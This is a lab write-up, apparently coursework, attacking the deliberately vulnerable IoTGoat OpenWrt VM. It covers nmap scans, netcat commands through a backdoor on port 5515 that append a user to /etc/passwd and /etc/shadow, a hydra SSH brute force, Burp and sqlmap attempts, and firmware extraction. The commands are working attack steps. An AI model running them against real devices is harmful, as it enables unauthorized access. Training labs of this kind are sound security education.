18 KiB
Vulnerability Analysis - Writeup
- Vulnerabilty Analysis
Vulnerabilty Analysis
Given files:
ls ./data/ -lA
total 17492 -rw-r--r-- 1 tuan tuan 424 Jun 29 13:33 passwords.txt -rw-r--r-- 1 tuan tuan 8126464 Jun 29 13:33 Syssec IoT Device.bin -rw-r--r-- 1 tuan tuan 9778176 Jun 29 13:33 Sysssec IoT Device.ova
-
passwords.txt
: Password list for brute forcingfile ./data/passwords.txt
./data/passwords.txt: ASCII text
-
Syssec IoT Device.bin
: Firmware binary of target for static analysisfile ./data/Syssec\ IoT\ Device.bin
./data/Syssec IoT Device.bin: firmware 4300 v1 OpenWrt r16916-7f946a880a, 8126464 bytes or less, at 0x200 2054221 bytes , at 0x1f5a50 2813038 bytes
-
Sysssec IoT Device.ova
: Virtual Box image of target for dynamic analysisfile ./data/Sysssec\ IoT\ Device.ova
./data/Sysssec IoT Device.ova: POSIX tar archive
Run device
I import the Syssec IoT Device.ova
file into VirtualBox, which resulted in multiple errors.
-
Network Error
Could not start the machine Sysssec IoT Device because the following physical network interfaces Ire not found: vboxnet0 (adapter 1) You can either change the machine's network settings or stop the machine.
To fix this error I had to attatch a virtual networking device to the Virtual Machine (VM), I chose Network address translation (NAT).
-
USB Error After fixing the previous error a new error occured
Implementation of the USB 2.0 controller not found! Because the USB 2.0 controller state is part of the saved VM state, the VM cannot be started. To fix this problem, either install the 'Oracle VM VirtualBox Extension Pack' or disable USB 2.0 support in the VM settings. Note! This error could also mean that an incompatible version of the 'Oracle VM VirtualBox Extension Pack' is installed (VERR_NOT_FOUND).
The error message instructs us to install the
Oracle VM VirtualBox Extension Pack
, lead the the same error. So I tried to disable USB 2.0 support as the error message suggests, which made it possible to boot up the VM.
Obtain IP address
Obtaining the devices IP address proved difficult as I had no vboxnet0
interface.
To do this I had to add a network interface on the Virtual Box management interface.
After doing that I got the necessary network interface.
ifconfig vboxnet0
vboxnet0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 192.168.56.1 netmask 255.255.255.0 broadcast 192.168.56.255 inet6 fe80::800:27ff:fe00:0 prefixlen 64 scopeid 0x20<link> ether 0a:00:27:00:00:00 txqueuelen 1000 (Ethernet) RX packets 0 bytes 0 (0.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 1072 bytes 48322 (47.1 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Afterwards an arpscan was possible:
arp-scan --interface vboxnet0 --local
Interface: vboxnet0, type: EN10MB, MAC: 0a:00:27:00:00:00, IPv4: 192.168.56.1 Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.56.100 08:00:27:9c:58:bf PCS Systemtechnik GmbH 192.168.56.101 08:00:27:ec:b3:cb PCS Systemtechnik GmbH 2 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.9.7: 256 hosts scanned in 1.975 seconds (129.62 hosts/sec). 2 responded
This yielded us two IP Addresses:
- 192.168.56.100
- 192.168.56.101
Vulnerable network services
Scanning both devices with nmap shows, that 192.168.56.100
doesn't have open ports, so it doesnt seem to be our target device.
Here I simply create a variable for our targets IP-address, so we don't have to remember it and enter it manually.
TARGET=192.168.56.101
echo $TARGET
192.168.56.101
nmap on 192.168.56.101
returns the following result:
nmap $TARGET -p-
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-30 14:50 CEST Nmap scan report for 192.168.56.101 Host is up (0.00076s latency). Not shown: 65529 closed ports PORT STATE SERVICE 22/tcp open ssh 53/tcp open domain 80/tcp open http 443/tcp open https 5515/tcp open unknown 65534/tcp open unknown Nmap done: 1 IP address (1 host up) scanned in 2626.73 seconds
After determining the open ports we can do a service scan(-sV
) to find out which public facing services are running on the device.
nmap $TARGET -sV -sC -p22,53,80,443,5515, 65534
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-30 15:58 CEST Nmap scan report for 192.168.56.101 Host is up (0.00058s latency). PORT STATE SERVICE VERSION 22/tcp open ssh Dropbear sshd (protocol 2.0) 53/tcp open domain dnsmasq 2.73 | dns-nsid: |_ bind.version: dnsmasq-2.73 80/tcp open http LuCI Lua http config |_http-title: Did not follow redirect to https://192.168.56.101/ 443/tcp open ssl/http LuCI Lua http config |_http-title: Site doesn't have a title (text/html). | ssl-cert: Subject: commonName=OpenWrt/organizationName=OpenWrtb63cc26f/stateOrProvinceName=Somewhere/countryName=ZZ | Not valid before: 2021-06-10T16:38:31 |_Not valid after: 2023-06-10T16:38:31 |_ssl-date: 2021-06-30T14:01:34+00:00; -2s from scanner time. 5515/tcp open unknown | fingerprint-strings: | DNSStatusRequestTCP, DNSVersionBindReqTCP, NULL, SMBProgNeg, SSLSessionReq, X11Probe: | [***]Successfully Connected to IoTGoat's Backdoor[***] | GenericLines: | [***]Successfully Connected to IoTGoat's Backdoor[***] | found | found | GetRequest: | [***]Successfully Connected to IoTGoat's Backdoor[***] | GET: not found | found | HTTPOptions, RTSPRequest: | [***]Successfully Connected to IoTGoat's Backdoor[***] | OPTIONS: not found | found | Help: | [***]Successfully Connected to IoTGoat's Backdoor[***] | HELP | found | Kerberos: | [***]Successfully Connected to IoTGoat's Backdoor[***] | found | RPCCheck: | [***]Successfully Connected to IoTGoat's Backdoor[***] | syntax error: unexpected word (expecting ")") | TLSSessionReq: | [***]Successfully Connected to IoTGoat's Backdoor[***] | random1random2random3random4 | found | TerminalServerCookie: | [***]Successfully Connected to IoTGoat's Backdoor[***] |_ Cookie:: not found 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port5515-TCP:V=7.91%I=7%D=6/30%Time=60DC789C%P=x86_64-unknown-linux-gnu SF:%r(NULL,37,"\[\*\*\*\]Successfully\x20Connected\x20to\x20IoTGoat's\x20B SF:ackdoor\[\*\*\*\]\n")%r(GenericLines,59,"\[\*\*\*\]Successfully\x20Conn SF:ected\x20to\x20IoTGoat's\x20Backdoor\[\*\*\*\]\nsh:\x20\r:\x20not\x20fo SF:und\nsh:\x20\r:\x20not\x20found\n")%r(GetRequest,5B,"\[\*\*\*\]Successf SF:ully\x20Connected\x20to\x20IoTGoat's\x20Backdoor\[\*\*\*\]\nsh:\x20GET: SF:\x20not\x20found\nsh:\x20\r:\x20not\x20found\n")%r(HTTPOptions,5F,"\[\* SF:\*\*\]Successfully\x20Connected\x20to\x20IoTGoat's\x20Backdoor\[\*\*\*\ SF:]\nsh:\x20OPTIONS:\x20not\x20found\nsh:\x20\r:\x20not\x20found\n")%r(RT SF:SPRequest,5F,"\[\*\*\*\]Successfully\x20Connected\x20to\x20IoTGoat's\x2 SF:0Backdoor\[\*\*\*\]\nsh:\x20OPTIONS:\x20not\x20found\nsh:\x20\r:\x20not SF:\x20found\n")%r(RPCCheck,69,"\[\*\*\*\]Successfully\x20Connected\x20to\ SF:x20IoTGoat's\x20Backdoor\[\*\*\*\]\nsh:\x20syntax\x20error:\x20unexpect SF:ed\x20word\x20\(expecting\x20\"\)\"\)\n")%r(DNSVersionBindReqTCP,37,"\[ SF:\*\*\*\]Successfully\x20Connected\x20to\x20IoTGoat's\x20Backdoor\[\*\*\ SF:*\]\n")%r(DNSStatusRequestTCP,37,"\[\*\*\*\]Successfully\x20Connected\x SF:20to\x20IoTGoat's\x20Backdoor\[\*\*\*\]\n")%r(Help,4C,"\[\*\*\*\]Succes SF:sfully\x20Connected\x20to\x20IoTGoat's\x20Backdoor\[\*\*\*\]\nsh:\x20HE SF:LP\r:\x20not\x20found\n")%r(SSLSessionReq,37,"\[\*\*\*\]Successfully\x2 SF:0Connected\x20to\x20IoTGoat's\x20Backdoor\[\*\*\*\]\n")%r(TerminalServe SF:rCookie,52,"\[\*\*\*\]Successfully\x20Connected\x20to\x20IoTGoat's\x20B SF:ackdoor\[\*\*\*\]\nsh:\x20\x03\*%\xe0Cookie::\x20not\x20found\n")%r(TLS SF:SessionReq,70,"\[\*\*\*\]Successfully\x20Connected\x20to\x20IoTGoat's\x SF:20Backdoor\[\*\*\*\]\nsh:\x20\x16\x03i\x01e\x03\x03U\x1c\xa7\xe4random1 SF:random2random3random4\x0c/:\x20not\x20found\n")%r(Kerberos,57,"\[\*\*\* SF:\]Successfully\x20Connected\x20to\x20IoTGoat's\x20Backdoor\[\*\*\*\]\ns SF:h:\x20qj\x81n0\x81k\xa1\x03\x02\x01\x05\xa2\x03\x02\x01:\x20not\x20foun SF:d\n")%r(SMBProgNeg,37,"\[\*\*\*\]Successfully\x20Connected\x20to\x20IoT SF:Goat's\x20Backdoor\[\*\*\*\]\n")%r(X11Probe,37,"\[\*\*\*\]Successfully\ SF:x20Connected\x20to\x20IoTGoat's\x20Backdoor\[\*\*\*\]\n"); Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Host script results: |_clock-skew: -2s Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 2 IP addresses (1 host up) scanned in 172.82 seconds
With the backdoor detected on port 5515
we can netcat onto it and get a shell.
To add the user tuan
with the password password
we executed the following code snippets:
echo "echo tuan:x:1001:1001::/root:/bin/ash >> /etc/passwd;exit" | nc -nv $TARGET 5515
echo 'echo tuan:\$1\$123456\$qqQvjw0PqIk7otmzNsUIN0:18145:0:99999:7::: >> /etc/shadow;exit' | nc -nv $TARGET 5515
echo "tuan:x:1001:1001::/root:/bin/ash"
echo 'tuan:$1$123456$qqQvjw0PqIk7otmzNsUIN0:18145:0:99999:7:::'
[***]Successfully Connected to IoTGoat's Backdoor[***] [***]Successfully Connected to IoTGoat's Backdoor[***] tuan:x:1001:1001::/root:/bin/ash tuan:$1$123456$qqQvjw0PqIk7otmzNsUIN0:18145:0:99999:7:::
Afterwards we were able to log into our user via ssh
The password was generated with
openssl passwd -1 -salt 123456 password
$1$123456$qqQvjw0PqIk7otmzNsUIN0
Brute-force Login
To brute force login via ssh
on the user iotgoatuser
we simply ran
hydra -l iotgoatuser -P ./data/passwords.txt ssh://$TARGET -t 4 -f
Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-06-30 18:45:45 [DATA] max 4 tasks per 1 server, overall 4 tasks, 60 login tries (l:1/p:60), ~15 tries per task [DATA] attacking ssh://192.168.56.101:22/ [22][ssh] host: 192.168.56.101 login: iotgoatuser password: 7ujMko0vizxv [STATUS] attack finished for 192.168.56.101 (valid pair found) 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-06-30 18:45:51
Another way would have been to get the /etc/shadow
entry of iotgoatuser
and cracking it localy with john to circumvent
any restrictions given by ssh
like fail2ban
etc. (even though restrictions like that are unlikly on an IoT device).
Man-in-the-middle Attack
When visiting the webinterface of the IoT device we are greeted with Warning: Potential Security Risk Ahead
, when using Firefox
Warning: Potential Security Risk Ahead Firefox detected a potential security threat and did not continue to 192.168.56.101. If you visit this site, attackers could try to steal information like your passwords, emails, or credit card details.
When pressing on Advanced...
we get some additional information about the error.
192.168.56.101 uses an invalid security certificate. The certificate is not trusted because it is self-signed. Error code: MOZILLA_PKIX_ERROR_SELF_SIGNED_CERT
Why do you get this warning message?
The reason why the warning message is shown is:
The certificate is not trusted because it is self-signed.
as stated in the error message.
What could be done to prevent this message?
One could simply ignore the error by pressing Accept the Risk and Continue
Why is it in general hard to fix this problem for IoT devices?
The vendor would have to create an individual certificate for each of his devices. Additionally each IoT device would need to regularily update it's certificate before it expires.
Analysis
Trying to login with the previously obtained credentials:
user: iotgoatuser password: 7ujMko0vizxv
unfortunatly didn't work.
Burp Suite
Firing up Burp and utilizing its internal chromium browser we try to login again.
We can see, that our request looked like this:
POST /cgi-bin/luci HTTP/1.1 Host: 192.168.56.101 Content-Length: 52 Cache-Control: max-age=0 Sec-Ch-Ua: "Chromium";v="91", " Not;A Brand";v="99" Sec-Ch-Ua-Mobile: ?0 Upgrade-Insecure-Requests: 1 Origin: https://192.168.56.101 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://192.168.56.101/cgi-bin/luci Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close luci_username=iotgoatuser&luci_password=7ujMko0vizxv
Trying to run sqlmap on the website didn't yield any results.
sqlmap -u https://192.168.56.101/cgi-bin/luci --data "luci_username=iotgoatuser&luci_password=7ujMko0vizxv"
Throwing the original response of the website and the response after entering a wrong username/password combination didn't reveal any additional info.
Analysis of Firmware Image
Recon
binwalk ./data/Syssec\ IoT\ Device.bin
DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 512 0x200 LZMA compressed data, properties: 0x6D, dictionary size: 8388608 bytes, uncompressed size: 6562339 bytes 2054736 0x1F5A50 Squashfs filesystem, little endian, version 4.0, compression:xz, size: 2813038 bytes, 869 inodes, blocksize: 262144 bytes, created: 2021-06-09 11:16:45
Extraction
The extraction is done by using the previously obtained information.
dd if=data/Syssec\ IoT\ Device.bin of=0x1F5A50 bs=1 skip=2054736 count=2813038
unsquashfs 0x1F5A50
The extracted filesystem is under ./squashfs-root/
.
Analysis
Are you able to find the passwd and shadow file? What do they contain?
cat squashfs-root/etc/passwd
root:x:0:0:root:/root:/bin/ash daemon:*:1:1:daemon:/var:/bin/false ftp:*:55:55:ftp:/home/ftp:/bin/false network:*:101:101:network:/var:/bin/false nobody:*:65534:65534:nobody:/var:/bin/false ntp:x:123:123:ntp:/var/run/ntp:/bin/false dnsmasq:x:453:453:dnsmasq:/var/run/dnsmasq:/bin/false logd:x:514:514:logd:/var/run/logd:/bin/false ubus:x:81:81:ubus:/var/run/ubus:/bin/false
cat squashfs-root/etc/shadow
root::0:0:99999:7::: daemon:*:0:0:99999:7::: ftp:*:0:0:99999:7::: network:*:0:0:99999:7::: nobody:*:0:0:99999:7::: ntp:x:0:0:99999:7::: dnsmasq:x:0:0:99999:7::: logd:x:0:0:99999:7::: ubus:x:0:0:99999:7:::
Do you find certificates?
find squashfs-root/ -name "*.crt"
squashfs-root/etc/ssl/certs/ca-certificates.crt